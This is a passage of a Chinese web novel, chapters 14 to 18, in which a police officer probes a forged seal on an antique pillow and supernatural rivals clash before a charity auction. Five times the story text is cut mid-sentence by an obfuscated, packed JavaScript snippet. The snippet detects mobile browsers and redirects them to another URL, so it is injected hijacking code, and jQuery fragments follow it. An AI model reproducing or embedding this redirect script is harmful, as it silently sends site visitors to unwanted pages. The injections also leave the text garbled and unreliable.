“贺先生,四月十八到四月二十号这三天里,你有没有回过市区?”奚梵高表情冷淡的问道。 贺然赫然色变,怒道:“奚警官,你这是什么意思?” “例行查问。”奚梵高淡淡的道,“请你配合我的工作。” “你怀疑是我在孩儿枕上粘的高仿章?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729833|189611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺然捏紧了拳头,不知道是气的还是委屈,脸色涨得通红。 “奚警官,你怎么能怀疑受害者。”甘文插了进来,他没打算干扰奚梵高的调查,但是做为高仿章的始作蛹者,他必须替贺然辩解。 奚梵高看了他一眼,道:“从动机上来说,贺先生也有破坏孩儿枕拍卖的嫌疑,甘助理,请不要妨碍我调查。还有,你不是还有事情要办?” 甘文:“……” 他的事情就是盯着奚梵高啊,可这话儿没法说,甘文只好看天看地看手机,就是不敢跟奚梵高的目光对视。 倒是贺然对甘文道了一声谢,有人替他辩解,这让他的心情稍稍缓解了些。 甘文连忙对他道:“贺先生,奚警官问你什么,你就如实交待,虽然他这个人有点不通人情,但是法律上,如果你能提交出有用的证据,证明孩儿枕的来历有问题,就能在结案后,将孩儿枕收归国有,这也是你父亲临终前的唯一心愿,不是吗?” 所以就别计较过程了,重要的是结果。 贺然被他这几句话打动,表情明显有了改变,沉默了一会儿才道:“那几天我都在工地上,没有离开过。奚警官,你可以向工地求证。” 奚梵高点点头,继续发问。 有了贺然的配合,调查工作进行得非常顺利,奚梵高又去工地上走访了一下,然后就带着甘文回了市区。 告别的时候,甘文没忍得住,问道:“奚警官,今天的调查,有用吗?” 奚梵高盯着他看了一会儿,道:“甘助理,回家洗洗睡吧。” 甘文:“……” 他是不是……被嫌弃了?看着绝尘而去的警车,甘助理很茫然。 第二天,精神抖擞的甘文先去了展览馆,向毕馆长汇报了昨天的工作总结,再捏了一把宋慈小朋友嫩嫩的脸颊,然后又哼哧哼哧的奔赴警察局,结果才到警察局大门口,就看到奚梵高押着一个人进去。 “奚警官……奚警官……你抓贼去了?”甘文一溜小跑的过去。 奚梵高对他点点头,推了那人一把,道:“他就是老古。” 根据贺然提供的线索,老古就是个盗墓贼,当初,考古专家就是从老古手上买到了孩儿枕。 甘文看看那人,再看看奚梵高,脸上直接刻上了五体投地四个字。瞧瞧,昨天才调查到的线索,今天就直接抓到了人,这效率,啧啧! 然后他又悄悄擦把冷汗,悄悄的向老天爷祈求奚梵高千万别查出高仿章的真相。 14. 第 14 章 抓到了盗墓贼,剩下的事情就很简单了,奚梵高从老古的住处的搜到了很多古董照片,其中就有孩儿枕的,各个角度的细节都有,现在盗墓贼也学精了,挖了古董后,懂得先拍照,从网上找渠道销售,碰上感兴趣的买家,先看照片,后验货。 这下子世嘉拍卖行有点栽了,每件古董都是独一无二,哪怕外形相同,细节处也不可能完全一样,当照片上的细节和孩儿枕对照后无一不符,这件孩儿枕的来历顿时就存疑,世嘉拍卖行要么承认这件孩儿枕是高仿,要么就得向警方好好交待一下孩儿枕的来历。 甘文整天盯着奚梵高,很快就知道了案情进展,虽然他完全没有意识到这是奚梵高故意透露给他的,不过过程不重要,重要的是结果哈哈哈,他高高兴兴跟毕馆长汇报去了,大有坏蛋终于吃不了兜着走的痛快淋漓。 毕馆长瞅着他兴高采烈的模样,默默撑起下巴,心想奚梵高这回该倒霉了吧。 事实是……奚梵高真的倒霉了。 郑河来到警察局,向局长投诉,世嘉拍卖行报案,让警方查的是高仿章,是谁在败坏世嘉拍卖行的名誉,破坏世嘉拍卖行正常的商业行为,谁他、妈的让你去查孩儿枕的。顺带着,他还出示了孩儿枕的合法委托拍卖手续。 甘文跟毕馆长汇报的时候,奚梵高也正在聆听局长训话……咳,不,是局长语重心长的说:“小奚啊,你还是太轻率了……” 世嘉拍卖行有背影,奚梵高也不是善茬儿,局长的内心泪流满面,都是他惹不起的主儿。 奚梵高没理会局长内心的波动,神态高冷的点点头,道:“局长,你放心,这桩案子我一定会查个水落石出,揪出犯罪分子,还受害者公道。” 至于谁才是犯罪分子,谁才是受害者,那就见仁见智吧。 局长无力的挥挥手,他决定,明天就打报告申请病休一个月,局里的工作,通通交给副局长。 第二天,奚梵高就听说了局长要病休的事情,嘴角一撇,老狐狸。不过正投他的下怀,他知道局长是变着法子在帮他,局长不在局里,副局长又是新调过来的,局里头的人都认不全,镇不住场,就没人能向奚梵高施压了,世嘉拍卖行找不到局长告状,自然也拿奚梵高没办法。 甘文完全不知道警察局里发生的变故,又逢周末,他带着宋慈去找奚梵高,之前就约好了在游乐场见面。之所以是游乐场而不是别的地方,那是因为他答应过带宋慈去游乐场玩却一直没兑现。 结果两个人在游乐场玩了一天,也没有等到奚梵高。甘文想了想,隐隐有些不安,连忙给奚梵高打电话。 奚梵高没接。 甘文又拨打了两次,都没接。这下子他心里更不安了,连忙带着宋慈去警察局。 奚梵高不在,说是出去办案一直没回来。 这不对啊,明明跟他约好了在游乐场见面的,难道案子出了什么变故? 甘文越想越不对,赶紧带着宋慈又去了展览馆,这个时间袁枚还在,他把宋慈托给袁枚,就问馆长在不在。 袁枚一摆手,道:“周末馆长都不来馆里,跟你一样,休息。” 甘文只好又给毕馆长打电话,其实他也不知道找馆长有什么用,只是下意识的觉得,不管出了什么问题,馆长一定都能解决。 电话很快就接通了,话筒里传出来的声音很嘈杂,也不知道毕馆长这个时候在哪里浪,甘文三言两语赶紧把事情说了,已经是尽量提高了音量,心里还是惴惴,也不知道毕馆长那头听清楚了没有。 话筒里又嘈杂了一会儿,才传出毕馆长低沉的声音:“我知道了,你不要急,他不会有什么事的,等我打听清楚情况,再跟你说。” “那我等馆长的消息。”甘文松了一口气,吊起来的心就这样落到了实处。 袁枚笑眯眯的凑过来,道:“小甘啊,你对馆长的信心很强嘛。” “馆长是个可靠的人。”甘文想也没想就道。 袁枚哈了一声,道:“就他?”突然瞥一眼蹲在旁边的宋慈,后头的话就赶紧咽回了肚子里,一脸复杂的拍拍甘文的肩膀,“小甘啊,你多保重。” 馆长要是靠得住,母猪都能爬上树,唉,又一个被馆长的外表给唬住的人,管理员不知道从哪里摸出只巴掌大的小酒瓶子,抿一口,叹一口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729834|189611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世人皆醉,我独醒啊,人生寂寞如雪! 甘文:“……” 为什么他感觉好像被人同情了? 宋慈看袁枚走远了,从地上跳起来,扯扯甘文的衣袖,道:“哥哥,我知道奚警官在哪里。” 甘文一愣,道:“你知道?你怎么知道的?”然后又转过脸,捏捏他的脸蛋,“知道也不早告诉我,害我那么着急。” 宋慈赶紧把自己的脸蛋拯救出来,道:“你要答应以后再不捏我的脸,我就告诉你他在哪里。” 好嘛,这是被捏怕了,终于找到机会为自己争取权益了。 “人小鬼大。” 看着宋慈一副要捍卫自己的脸蛋的模样,甘文忍不住又手痒,想捏一把,好容易忍住了,才笑道,“好,我答应你,那你告诉我吧。” 宋慈这才比个胜利的手势,再把双手往身后一背,老气横秋的道:“你跟我来。” 甘文连忙跟上去,一大一小跑出展览馆,离开没多少时间,秦士勇就匆匆赶过来,一进门就叫老袁。 袁枚从陈列柜后面探出头,手里还捏着酒瓶,嘴里塞了几粒花生米,看到秦士勇,很是惊讶,道:“还没有到值夜的时间,你今天来早了。” 秦士勇一巴掌拍在陈列柜上,道:“值什么夜,出事了,快跟我走。” 一转头,又敲敲旁边的一座陈列柜,道:“陶歌,今天你看家。” 那座陈列柜里,摆放的就是袁枚上回拿抹布擦拭的骆驼,只是骆驼的旁边,不知道什么时候,多了一个正长袖飘飘作歌舞状的陶俑,细腰柳姿,眉目宛然,若细看,便与陶歌十分相似。 此时听到秦士勇的话,那陶俑便忽然动了起来,换了姿势,舒展了一下身体,仿佛是对他优雅的点了点头,然后便又回复了原状。 秦士勇就拖着袁枚走了,走了老远还能听到袁枚的嚎叫声。 “轻点轻点……多大点儿事,至于这么着急,我说……你小子可还没有说是什么事呢……哎哟哟,我错了,勇哥,您是哥……您是我亲哥……” 陈列柜内,陶俑面露莞尔,骆驼却吧唧着嘴,幸灾乐祸的大笑。 15. 第 15 章 毕馆长收了手机,到吧台上点了一杯酒,只拿在手上晃了晃,没喝。 这里是一间酒吧,台上有人在唱摇滚,台下有人在热舞,吵笑哄闹的声音,震耳欲聋。 奚梵高就在他头顶上的包间,脸色难看的坐在沙发椅里。如果是一般人,当然看不穿头顶的包间,也看不到在奚梵高的对面还坐着一个人,正开瓶倒酒。 但老袁同志说过,毕馆长他就不是个人,所以他看得到。 摸了摸靠在吧台边上的黑伞,耳边的喧沸声渐渐散去,只有那两个人的交谈声,响在毕馆长的心头。 “老朋友很久不见,我请你来喝酒,你连个好脸色也不给我,嗯?” 坐在奚梵高对面的人,姿态优雅的靠在沙发背上,带着一脸随和的微笑,手里也端着一杯酒,轻微晃动,如果细看,倒是跟毕馆长的动作也很像。 奚梵高冷冷的道:“我不认识你。”然后又道,“你跟世嘉拍卖行是什么关系?” 他是去查那个鉴定专家的时候,被人从后面逼近用枪客客气气的请到了这间酒吧里,然后看到了眼前这个人。当然,奚警官没这么不中用,他只是顺水推舟而已。 先礼后兵吗? 奚梵高冷笑,想用局长来压制他不行,就开始动用威逼的手段,如果世嘉拍卖行所谓的背景深厚,就是这么点上不了台面的,那他明天就能写结案报告了。 那人轻笑一声,道:“阿璧,你这样说的话,就太让人伤心了,你我珠联璧合多少年,自从分开后,我一直惦记着你……” 奚梵高听到一句“阿璧,”表情明显一愣,然后终于反应过来,一拍茶几,打断了那人的话。 “喂,都说了我不认识你。还有,不要回避我的问题,你和世嘉拍卖行是什么关系?要是不想在这里说,我也可以请你回警局说。” 那人微露诧异,盯着奚梵高看了一会儿才道:“阿璧,多年未见,你的脾气改变了很多。” 奚梵高按奈住心里的火气,咬着牙根道:“你认错人了,我叫奚梵高。” 璧你个头啊,没有人愿意当替身,没有! 那人沉默了一会儿,放下酒杯,认认真真的看了奚梵高很长时间,终于,微微叹息了一声,语气真诚的道歉:“抱歉,确实是我认错了。” 一边说,一边就笑着摇头。 “你和他可真是太像了……那么认识一下,我是朱侯随。” 他伸出了手,但奚梵高没有跟他握手,而是瞳孔微缩,一字一顿道:“千岁珠。” “正是。”朱侯随彬彬有礼的颔首致意,优雅如绅士。 奚梵高顿时觉得牙根子抽疼得厉害,然后他突然又想起来,朱侯随这个名字耳熟得很。 “明珠阁的朱王爷?” 朱侯随微微一笑,道:“那是别人抬爱,你可以叫我一声朱哥。” 呸! 奚梵高牙根抽疼得更厉害。 明珠阁是古董行的老字号,其历史可以追述到明朝甚至更早,是不是真的没人知道,反正也没有正史记载,随便吹呗。在四九城里,关于明珠阁的传闻,能写出厚厚一本书来,据说明珠阁原本只是间普通的古董铺子,东家是个十分爱国并且很有才学的名士,后来清兵入关,明珠阁就成了反清复明人士的秘密根据地。再后来到了军阀时代,明珠阁又成了革命人士的聚会场所。再再后来,到了抗战时代,明珠阁又卖掉了一批古董换来大笔资金资助抗战队伍,成为抗战胜利的幕后功臣之一。 总之,到了国朝建立,明珠阁就隐隐立于行业顶端,谈笑尽豪杰,往来皆红贵,生意更是做得风生水起,根本就没有人知道明珠阁名下的产业有多少,反正,二十年前,明珠阁的当家人更新换代,朱侯随这个名字正式呈现在世人面前,当时,他还是个少年人,很多人都以为,明珠阁的辉煌时代要结束了,一个少年人,能有什么本事带领明珠阁? 现实给了那些人重重一巴掌。 朱侯随的光辉业绩不多说,只说一件,世嘉拍卖行,就是他入主明珠阁的第一年,出面拉起了几家合伙人共同投资设立的,短短二十年,世嘉拍卖行已经成了行内数一数二的存在,每年不知道为朱侯随赚取了多少财富。朱侯随不参与世嘉拍卖行的管理,但不可否认,他的明珠阁,正是世嘉拍卖行背后的靠山之一。 英俊有为,举止优雅,财富通天,交权结贵,又世居于四九城中,这些赞誉之词加在一块儿,于是很少有人直接称呼朱侯随的名字,以他的分量,就是尊一声爷都觉得是对他的贬低,所以,爷前头又加了个王,朱王爷这个雅称就此不径而走,成了朱侯随的代称。 奚梵高当然调查过世嘉拍卖行的背景,朱侯随要是第一时间报出朱王爷的雅称,他也不会到现在才反应过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729835|189611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,当然,也是奚梵高的身份特殊,所以对朱侯随这个名字更敏感一点。 有的人,天生就有两个身份,比如毕馆长,比如朱侯随,比如,奚梵高自己。 对于奚梵高来说,不管朱侯随是哪个身份,都很麻烦。如果他早知道明珠阁的朱王爷就是朱侯随,这件案子他就会办得谨慎小心点。 “朱王爷……”奚梵高冷着脸,一字一顿,“你要为世嘉拍卖行出头,有没有问过毕时鹤?” 千岁珠,万岁璧,传说中的珠联璧合,奚梵高唇角一抿,都是他、妈的大麻烦。唯今之计,只有以毒攻毒,以麻烦克麻烦。 “是要问的,但……这不是认错人了吗?”朱侯随耸了耸肩,漫不经心,毫无尴尬之感。 奚梵高冷哼一声,起身就走。 朱侯随笑了笑,也不拦他。 奚梵高伸手拉门,没开,再用力,那门上就反弹出一股力道,带着电击般的麻痹感,奚梵高手一松,退出去好几步,小腿撞到了沙发,又坐回了原来的位置。 “你……” “奚警官,有缘相见,虽然是误会一场,但也不妨碍我们交个朋友,你说是吧?”朱侯随微笑着道。 “我不喜欢你,也没有兴趣跟你做朋友,如果你要妨碍我办案,我不会对你客气。”奚梵高双手抱胸,眯起眼,眼底一抹幽暗的光彩开始急促的闪烁。 砰! 两人的中间,摆在桌上的那瓶酒,毫无预兆的破裂了,酒液却没有飞溅出来,而是凝固在当场。 “奚警官,凡事无绝对,你和我刚认识,不做朋友,也未必是对手。”朱侯随拿起酒杯,将凝固的酒液接了一些到杯中,手腕转动,酒液便在杯中流动起来。 举杯致敬。 “我们两个人……有共同的敌人,天然就该是同盟……” “哼!” 奚梵高的脸色更冷,身上的气势也越发的迫人,但朱随侯却仍是那副优雅姿态,很放松。 然而,整个房间却在晃动,或者说,整个酒吧都在晃动,楼下的舞场里,却无人察觉,因为音乐的声音太大,地面轻微的晃动,根本就无人在意。 但墙壁上却已经开始出现裂痕,如蛛网弥漫。 就在这个时候,包间的门,突然打开了。 “打扰一下。” 毕馆长撑着黑伞,缓步而入。 16. 第 16 章 所有的异动刹时而止,酒吧不再震动,墙上的裂缝消失,就连酒瓶也恢复了原状。 朱侯随看看毕馆长,又看看奚梵高,叹了口气,道:“我怎么会把你们两个搞混呢?” 现在看,一点也不像。 “猪哥嘛,不犯蠢对不起你的名字。”毕馆长缓缓收起伞,用伞尖捅捅奚梵高的小腿,“让个位子。” 奚梵高怒瞪了他一眼,然后站起身,倚在窗前,仍是双手抱胸的姿势。 毕馆长不客气的坐了下来,拿过一只酒杯,自己给自己倒了杯酒,晃动几下,轻嗅酒香,满意的舒出一口气,然后将酒杯对着朱侯随随意一举。 “很多年没见了,你混得不错啊。” 朱侯随抿了口酒,然后认真的道:“是朱哥不是猪哥,别以为我听不出你在损我,阿璧,我没得罪你吧。” “没有,立场问题而已。”毕馆长淡淡的道,“你和奚警官是天然的同盟,有共同的敌人,指的就是我吧。” 朱侯随双手一摊,道:“我要是否认……反正你也不会信。我这次来,就是想问问你,依然还是坚持‘建国后不许成精’的原则吗?” 奚梵高眼神一缩,也看向毕馆长。这,也是他的疑问。 “太麻烦,懒得管。”毕馆长的手指在酒杯壁上轻轻一敲,清脆的回响伴着他的低沉的声音。 朱侯随“哧”的一声笑,叹了口气,道:“还是这个理由……能换一个吗?” 奚梵高撇嘴,有个理由不错了,当初毕馆长是怎么对他说的,你猜,猜个鬼啊。感情说到底,就是怕麻烦。但是,怕麻烦就能逃避责任吗? 他冷冷瞪着毕馆长,真是个不负责任的家伙,他早就该想到了,这家伙要是有责任心,这个世界上就不会有奚梵高这个人的存在。 毕馆长无视了奚梵高不善的瞪视,淡然道:“理由不在多,一个就够。” 关键是,这个理由足够无赖,强如朱侯随,也只有干瞪眼的份儿。怕麻烦,懒得管,这世间绝症千千万,独懒癌无药治。 “阿璧,我是真的不想与你为敌啊!”朱侯随叹息着,眼神透着深深的无奈。 毕馆长无谓的耸耸肩,道:“我不介意你和奚警官成为同盟。” 立场问题,无可转寰。 奚梵高冷冷的道:“别把我和他扯在一起。”他不和任何人同盟,虽然,他也确实看毕馆长很不顺眼,但是,他看朱侯随更不顺眼。 “那就难办了啊……”朱侯随双手交叉,身体微微前倾,神态认真又坚定,“可是阿璧,我的脾气你是知道的,这是最好的时代,也是最坏的时代,我是不会放弃的。” “你要打架吗?”毕馆长放下酒杯,开始撸袖子。 有人喜欢以理服人,有人喜欢以力服人,毕馆长从来不认为自己是个讲道理的人。 朱侯随一呆,然后转头看向奚梵高,道:“警官,我要报警,有人意图殴打我,打架斗殴应该可以治安拘留了吧。” 奚梵高很想扭过头说他什么也没看见,但职业道德让他没办法自欺欺人。不过这不是还没有打起来,他抱胸冷眼旁观。 “挟持警察,是不是可以被起诉了?”毕馆长也转过头看着他。 这两个混蛋……奚梵高再也忍不住,一掌按在桌上,冷冷道:“两位,都跟我到警察局走一趟。” 他就不信了,现代社会还有法律治不了……老古董!就算成了精,在这个法治社会,也要遵守基本法。 毕馆长一摊手,道:“我可没有挟持警官。” 朱侯随也一摊手,道:“奚警官,起诉要有证据。”谁能证明他派人把奚梵高挟持到酒吧来? 砰砰! 门外被踢进来两个人,重重的摔在地上,嘴里哼哼唧唧的爬不起来。 秦士勇和袁枚揉着手腕走进来,秦士勇面无表情一脸冷酷,袁枚嘻嘻哈哈,进门就道:“奚警官,我帮你把挟持警察的罪犯抓到了,能不能颁个奖章给我?” 朱侯随捂住脸,这两个废物。 奚梵高看看地上两个人,又看看秦士勇和袁枚,冷冷道:“你们,所有人,通通跟我到警察局走一趟。” 甘文和宋慈赶到的时候,正好看到这一大串人坐进被奚梵高叫来的警车里,忽啦啦三辆警车才坐得下。 什么情况? 看着警车呼啸而去,甘文吃惊的瞪圆了眼。 宋慈悄悄的吐舌头,还好他人矮腿短,慢了一步,不然他大概也是里面的一员,奚梵高可真是六亲不认啊。 甘文没注意宋慈的小动作,赶紧叫了出租车,跟了上去。但警车有警笛开道,一路畅通无阻,出租车却还得老老实实的等红绿灯,不到五分钟,就跟不上了。不过警车有轮子能跑,警察局没长脚跑不了,但是路上耽误的时间长了,等甘文赶到警察局的时候,就看见毕馆长几人从里面出来,正跟另外几个他不认识的人道别。 奚梵高站在门口很不高兴的看着他们。 看样子是没什么事了,甘文松了一口气,然后才想到,毕馆长怎么会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729836|189611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟奚梵高在一起还被带到了警察局?离他给毕馆长打电话也没有过去多少时间啊,这么快就找到奚梵高,也未免太迅速了。还有,袁枚又是什么时候跟毕馆长在一起的?明明之前还在展览馆里,怎么跑得比他还快? 谜团太多,甘文脑子有点不够用,不知道是该过去还是不过去,正在他犹豫的时候,跟毕馆长道别的那个人突然目光一转,笑着朝他这边挥挥手。 甘文茫然……谁啊,不认识啊! 宋慈一撇嘴,拉了一下他衣服,道:“别自作多情,那家伙是对我挥手。” 甘文:“……” 好吧,所以说那个人是毕馆长他们都认识的,应该是朋友吧,那就过去吧。 “馆长,袁哥,勇哥……” 甘文一个个招呼过去,又把宋慈推到奚梵高的面前。 “奚警官,下周宋慈该入学了,你千万别忘了带他去。” 奚梵高:“……” 见鬼,他早把这个小鬼给忘到天边儿去了。 “这位是?”朱侯随笑着走过来。 甘文连忙跟他伸手,道:“我是甘文,毕馆长的助理。” 朱侯随跟他握了握手,道:“阿璧也会找助理?哎哟,甘助理年轻有为啊。” 甘文连忙道:“您过奖,还不知先生怎么称呼。”这语气,跟宝爷一样一样的,再看这一身的气派,他怀疑这人跟宝爷一样,不是大藏家,就是真壕。 “朱侯随。” 甘文毫无异色,他不是梵奚高,对朱侯随这个名字毫无敏感度,更不知道世嘉拍卖行的背景,打破脑袋他也想不到朱侯随和世嘉拍卖行的关系。 朱侯随就又深深的看了他一眼,然后转头对毕馆长笑道:“那么我就先走了,有机会再见。” 毕馆长撑开黑伞,慢条斯理道:“再也不见!” 甘文眼神茫然,咦,这语气听上去,不是朋友啊。 朱侯随一点也不介意,笑着又看看秦士勇和袁枚,竖了竖大拇指,然后转身走人。 袁枚捂了捂脸,问秦士勇:“你有没有觉得背心一凉?” 秦士勇没理他,只是神色凝重的看着毕馆长。 毕馆长拍拍他的肩膀,道:“轻松点,战五渣没什么可怕的。” 秦士勇无语,心想馆长你也是个战五渣怎么好意思说别人,有种今天别找他和袁枚来救场啊。 甘文左看看,右看看,总觉得气氛有些不对,可又说不上哪里不对。 大概是错觉吧,哈哈哈! 17. 第 17 章 又一个周末过去,甘文开始了无所事事的新的一天,他和袁枚对坐在办公桌的两侧,电脑已经搬开了,桌上摆了一瓶酒和两碟下酒菜,工作时间内开始正大光明的摸鱼……咳,这绝对不是甘文不敬业,而是毕馆长今天居然没来,所以也没有新的工作交待给他,宋慈被奚梵高送去上学了,甘文自然没有必要去盯着,结果,就被袁枚拉上了办公……咳咳,酒桌,可惜他那个闻不了酒味的臭毛病还没有治好,只能郁闷的啃了几口下酒菜,听袁枚在那里跟他讲古。 论毕馆长与朱侯随不得不说的二三事,这个话题很有劲爆度,所以甘文强忍着阵阵酒味儿,听得还挺认真。 “馆长和朱王爷呢,打小儿就是发小……这么说也不对,朱王爷比馆长年长些,应该说馆长小时候受过朱王爷不少照顾,他们俩之间的关系,一度非常要好……” 袁枚抿一口酒,噈溜溜的就开始揭毕馆长的老底。 “朱王爷?”甘文打断他,“这外号谁起的啊?”感觉和毕馆长一样,有种莫名的装逼风,还是装得很失败的那种,嗯,他相信馆长和朱侯随是发小了。 袁枚嘿嘿一笑,道:“高、富、帅、贵,他都占齐了,这要搁在以前,别说尊一声王爷,就是叫一声大王也不过分。” 甘文想想朱侯随那一身的气派,好吧,朱王爷就朱王爷,总比马王爷好听些。 “那后来呢?朱王爷和馆长怎么因为打架斗殴进了局子?” 从奚梵高那里打听出毕馆长居然是因为和朱侯随打架斗殴的名义被逮走的,甘文都懵了,他完全无法想象毕馆长跟人打架的样子。 形象呢? 袁枚摸摸鼻子,又抿一口酒,拈了两粒花生米扔进嘴里,道:“他们两个本来就不是一号人,长大了,信念不合,自然而然就分道扬镳了。” “信念?”甘文好奇了。 “哈,一个高调张扬,一个低调装逼,这肯定走不到一起嘛。”袁枚道。 甘文哦了一声,不用说,低调装逼的肯定是毕馆长了,高调张扬……嗯,朱侯随那身气派还真有几分意思。 “但这也犯不上打架啊。” 信念不合,各走各的就是,又没有冲突,至于吗? “哪儿,两个战五渣打起来也是菜鸡互啄,没打,就是嘴皮子上厉害了一下,结果,被奚警官当真了,拉进局子里接受口头教育。”袁枚说着就哈哈笑了起来。 甘文:“……” 下午的时候,毕馆长终于来了,秦士勇和陶歌也前后脚的进了展览馆,难得人来得这么齐,甘文还小小的惊诧了一下,但也没有多想,正要跟过去问今天的工作安排,没想到毕馆长一招手,把人全叫到了他的办公室。 “看看!” 用遥控器把挂在墙上的巨屏电视打开,转到了本地新闻频道,正好在播一则刚出炉的新闻。 古董行的老字号明珠阁十天后将要在S市举办一场古董慈善拍卖晚会,晚会场地由世嘉拍卖行提供。 新闻画面的最后,还一闪而过朱侯随的身影。 甘文看着这则新闻有点迷糊,不太明白毕馆长郑重其事的把大家都叫上来看这则新闻的用意是什么,和朱侯随又有什么关系? 袁枚凑过来悄悄在他耳边道:“小甘,刚才忘了告诉你,朱王爷就是明珠阁的BOSS,还有,明珠阁持有世嘉拍卖行最大的股份。” 甘文立刻警醒,卧槽,立场相对,果然是敌人,难怪毕馆长跟他不对付。等等,明珠阁……四九城里的那个明珠阁?他是外行都听说过,这古董行里要是分个三六九等,明珠阁就是金字塔尖上的那一颗最大的明珠,跟毕馆长的毕氏高仿古董展览馆一比……甘助理的鼻尖开始冒虚汗。 袁枚说朱侯随是高调张扬,毕馆长是低调装逼,还是真是给馆长脸上贴金啊,这哪里是低调装逼,这是低得不能再低了啊。 擦擦冷汗,甘文又小心翼翼的瞅一眼毕馆长,他的下一个工作任务,该不会是把朱侯随的古董慈善拍卖晚会给搞砸吧?呃……什么仇什么怨,不至于,呵呵,不至于的。 关掉新闻,毕馆长转过半个身体,脸色不佳道:“刚才朱侯随打电话给我,说世嘉拍卖行已经决定将孩儿枕无条件捐给明珠阁的慈善拍卖晚会进行拍卖,所得善款全部捐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729837|189611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给儿童福利机构。” 甘文一愣,然后迅速反应过来,世嘉拍卖行这是釜底抽薪啊,本来因为那个高仿章,世嘉拍卖行虽然借着警察封存证物的由头,勉强把损失掉的声誉给挽回了一些,但这件事毕竟还是没有得到澄清,依然有人将信将疑,这对世嘉拍卖行很不利,现在他玩了这么一手,就等于是由明珠阁出面替孩儿枕保真,间接洗清了世嘉拍卖行名誉上的污点,还让世嘉拍卖行成功的将孩儿枕这个烫手山芋脱手掉,顺带着又借着慈善之名又给自己抹了层光环。 “馆长,奚警官还没结案呢,孩儿枕不可能被送出去参加慈善拍卖晚会。” 想来想去,甘文还是想到了一个关键点,世嘉拍卖行说捐就捐呢,他得有东西捐才行。 毕馆长抬了抬眼皮,淡淡道:“这次明珠阁要拍卖的古董价值不菲,来参加晚会的,不但有国内各大榜上富豪,还有国际友人,安保压力很大,朱侯随找了市长,要求S市提供一部分安保服务,奚警官做为警界精英,将被临时抽调负责晚会安保,他手上的案子,从今天起就移交给别的警官调查。嗯,据内部消息,高仿章的事情,世嘉拍卖行私底下花钱找个了替罪羊顶了,接手的警官已经在做结案的准备。” 甘文瞪大了眼睛,已经说不出话来了,袁枚说得没错,这位朱王爷还真是高调张扬啊,就为了个孩儿枕的真假,搞出这么大的声势,真是……太张扬了,他要是毕馆长,他也得撸袖子揍人。 “馆长……这一阵,咱们就这么输了?” 甘文小声咕囔着,面对朱侯随的张扬高调,他感受到了亚力山大,这要怎么对抗?思来想去,好像只有私底下给朱侯随套麻袋揍一顿才能解气了,不然,别说毕馆长不甘心,就是他也替贺然憋屈啊,好容易终于盼到一点期望,结果又搞砸了。 “输?”毕馆长瞥了他一眼,直看得甘文不敢抬头,才淡然道,“不就是盖个戳的事,这一次,我亲自盖。” 啊? 甘文一脸茫然,馆长这意思,是还想给孩儿枕粘个高仿章砸朱侯随的场子? 这这这……同样的手段再用一次,管用吗? 18. 第 18 章 毕馆长拍板定案的事情,显然没人能置喙,当然,也没人敢,哪怕甘文一向不大敢直视毕馆长,也知道这回馆长大人是动了真格的。 秦士勇和陶歌来了又走,兜里揣了钱,去S市最大的商场给大家置办行头去了,因为毕馆长说了,朱侯随的古董慈善拍卖晚会,展览馆得全员去参加。 甘文一脸不解的被袁枚拖下了楼,最后忍不住问道:“馆长又脑抽了?” 